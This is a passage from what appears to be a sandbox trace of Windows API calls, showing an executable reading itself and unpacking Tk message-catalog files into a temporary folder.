(lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0044.610] GetFileType (hFile=0x10c) returned 0x1 [0044.610] htonl (hostlong=0x9c1a5f00) returned 0x5f1a9c [0044.610] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x63ca9c, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0044.610] htonl (hostlong=0x65040000) returned 0x465 [0044.610] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x465) returned 0x550600 [0044.610] htonl (hostlong=0x65040000) returned 0x465 [0044.610] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x561090 [0044.610] ReadFile (in: hFile=0x10c, lpBuffer=0x561090, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0044.610] htonl (hostlong=0x36100000) returned 0x1036 [0044.610] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1036) returned 0x562098 [0044.610] htonl (hostlong=0x65040000) returned 0x465 [0044.610] htonl (hostlong=0x36100000) returned 0x1036 [0044.610] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x5630d8 [0044.610] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x5630d8 | out: hHeap=0x530000) returned 1 [0044.610] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0044.610] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0044.610] CloseHandle (hObject=0x10c) returned 1 [0044.610] GetLastError () returned 0x0 [0044.610] SetLastError (dwErrCode=0x0) [0044.610] GetLastError () returned 0x0 [0044.610] SetLastError (dwErrCode=0x0) [0044.611] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk") returned 48 [0044.611] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0044.611] GetFileType (hFile=0x10c) returned 0x1 [0044.611] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0044.611] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0044.611] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0044.611] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0044.611] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0044.611] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0044.611] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0044.611] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0044.611] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0044.611] CloseHandle (hObject=0x10c) returned 1 [0044.611] GetLastError () returned 0x0 [0044.611] SetLastError (dwErrCode=0x0) [0044.611] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\msgs") returned 53 [0044.611] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\msgs" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk\\msgs"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0044.611] GetFileType (hFile=0x10c) returned 0x1 [0044.611] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0044.611] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0044.611] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0044.611] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0044.612] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0044.612] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0044.612] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0044.612] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0044.612] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0044.612] CloseHandle (hObject=0x10c) returned 1 [0044.612] GetLastError () returned 0x0 [0044.612] SetLastError (dwErrCode=0x0) [0044.612] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\msgs\\de.msg") returned 60 [0044.612] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\msgs\\de.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk\\msgs\\de.msg"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0044.612] GetLastError () returned 0x2 [0044.612] SetLastError (dwErrCode=0x2) [0044.612] GetLastError () returned 0x2 [0044.612] SetLastError (dwErrCode=0x2) [0044.612] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\msgs\\de.msg", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\msgs\\de.msg", lpFilePart=0x0) returned 0x3b [0044.612] GetLastError () returned 0x2 [0044.612] SetLastError (dwErrCode=0x2) [0044.612] GetLastError () returned 0x2 [0044.612] SetLastError (dwErrCode=0x2) [0044.612] GetLastError () returned 0x2 [0044.612] SetLastError (dwErrCode=0x2) [0044.612] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\msgs\\de.msg") returned 60 [0044.612] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0044.612] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\msgs\\de.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk\\msgs\\de.msg"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0044.613] GetFileType (hFile=0x10c) returned 0x1 [0044.613] htonl (hostlong=0x36100000) returned 0x1036 [0044.613] WriteFile (in: hFile=0x10c, lpBuffer=0x562098*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x562098*, lpNumberOfBytesWritten=0x4fcd00*=0x1000, lpOverlapped=0x0) returned 1 [0044.614] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x561090 [0044.614] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0x36, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd6c*=0x36, lpOverlapped=0x0) returned 1 [0044.614] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0044.614] CloseHandle (hObject=0x10c) returned 1 [0044.614] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x562098 | out: hHeap=0x530000) returned 1 [0044.615] htonl (hostlong=0x30000000) returned 0x30 [0044.615] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0044.615] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0044.615] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0044.615] GetFileType (hFile=0x10c) returned 0x1 [0044.615] htonl (hostlong=0x11f5f00) returned 0x5f1f01 [0044.615] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x63cf01, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0044.615] htonl (hostlong=0xd060000) returned 0x60d [0044.615] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x60d) returned 0x550600 [0044.615] htonl (hostlong=0xd060000) returned 0x60d [0044.615] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x561090 [0044.616] ReadFile (in: hFile=0x10c, lpBuffer=0x561090, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0044.616] htonl (hostlong=0xa1210000) returned 0x21a1 [0044.616] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x21a1) returned 0x562098 [0044.616] htonl (hostlong=0xd060000) returned 0x60d [0044.616] htonl (hostlong=0xa1210000) returned 0x21a1 [0044.616] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x564248 [0044.617] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x564248 | out: hHeap=0x530000) returned 1 [0044.617] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0044.617] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0044.617] CloseHandle (hObject=0x10c) returned 1 [0044.617] GetLastError () returned 0x0 [0044.617] SetLastError (dwErrCode=0x0) [0044.617] GetLastError () returned 0x0 [0044.617] SetLastError (dwErrCode=0x0) [0044.617] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk") returned 48 [0044.617] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0044.617] GetFileType (hFile=0x10c) returned 0x1 [0044.617] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0044.617] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0044.617] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0044.617] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0044.617] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0044.617] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0044.617] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0044.617] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0044.617] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0044.617] CloseHandle (hObject=0x10c) returned 1 [0044.618] GetLastError () returned 0x0 [0044.618] SetLastError (dwErrCode=0x0) [0044.618] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\msgs") returned 53 [0044.618] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\msgs" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk\\msgs"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0044.618] GetFileType (hFile=0x10c) returned 0x1 [0044.618] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0044.618] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0044.618] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0044.618] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0044.618] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0044.618] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0044.618] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0044.618] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0044.618] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0044.618] CloseHandle (hObject=0x10c) returned 1 [0044.618] GetLastError () returned 0x0 [0044.619] SetLastError (dwErrCode=0x0) [0044.619] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\msgs\\el.msg") returned 60 [0044.619] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\msgs\\el.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk\\msgs\\el.msg"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0044.619] GetLastError () returned 0x2 [0044.619] SetLastError (dwErrCode=0x2) [0044.619] GetLastError () returned 0x2 [0044.619] SetLastError (dwErrCode=0x2) [0044.619] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\msgs\\el.msg", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\msgs\\el.msg", lpFilePart=0x0) returned 0x3b [0044.619] GetLastError () returned 0x2 [0044.619] SetLastError (dwErrCode=0x2) [0044.619] GetLastError () returned 0x2 [0044.619] SetLastError (dwErrCode=0x2) [0044.619] GetLastError () returned 0x2 [0044.619] SetLastError (dwErrCode=0x2) [0044.619] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\msgs\\el.msg") returned 60 [0044.619] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0044.619] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\msgs\\el.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk\\msgs\\el.msg"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0044.619] GetFileType (hFile=0x10c) returned 0x1 [0044.619] htonl (hostlong=0xa1210000) returned 0x21a1 [0044.619] WriteFile (in: hFile=0x10c, lpBuffer=0x562098*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x562098*, lpNumberOfBytesWritten=0x4fcd00*=0x2000, lpOverlapped=0x0) returned 1 [0044.620] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x561090 [0044.620] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0x1a1, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd6c*=0x1a1, lpOverlapped=0x0) returned 1 [0044.620] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0044.621] CloseHandle (hObject=0x10c) returned 1 [0044.621] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x562098 | out: hHeap=0x530000) returned 1 [0044.621] htonl (hostlong=0x30000000) returned 0x30 [0044.621] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0044.621] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0044.621] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0044.621] GetFileType (hFile=0x10c) returned 0x1 [0044.621] htonl (hostlong=0xe255f00) returned 0x5f250e [0044.621] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x63d50e, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0044.621] htonl (hostlong=0x40020000) returned 0x240 [0044.621] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x240) returned 0x550600 [0044.621] htonl (hostlong=0x40020000) returned 0x240 [0044.621] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x561090 [0044.621] ReadFile (in: hFile=0x10c, lpBuffer=0x561090, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0044.621] htonl (hostlong=0xe90a0000) returned 0xae9 [0044.621] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xae9) returned 0x55e278 [0044.621] htonl (hostlong=0x40020000) returned 0x240 [0044.621] htonl (hostlong=0xe90a0000) returned 0xae9 [0044.621] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x562098 [0044.621] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x562098 | out: hHeap=0x530000) returned 1 [0044.621] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0044.621] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0044.621] CloseHandle (hObject=0x10c) returned 1 [0044.622] GetLastError () returned 0x0 [0044.622] SetLastError (dwErrCode=0x0) [0044.622] GetLastError () returned 0x0 [0044.622] SetLastError (dwErrCode=0x0) [0044.622] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk") returned 48 [0044.622] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0044.622] GetFileType (hFile=0x10c) returned 0x1 [0044.622] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0044.622] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0044.622] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0044.622] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0044.622] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0044.622] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0044.622] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0044.622] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0044.622] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0044.622] CloseHandle (hObject=0x10c) returned 1 [0044.622] GetLastError () returned 0x0 [0044.622] SetLastError (dwErrCode=0x0) [0044.622] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\msgs") returned 53 [0044.622] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\msgs" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk\\msgs"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0044.622] GetFileType (hFile=0x10c) returned 0x1 [0044.622] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0044.622] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0044.622] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0044.622] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0044.623] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: 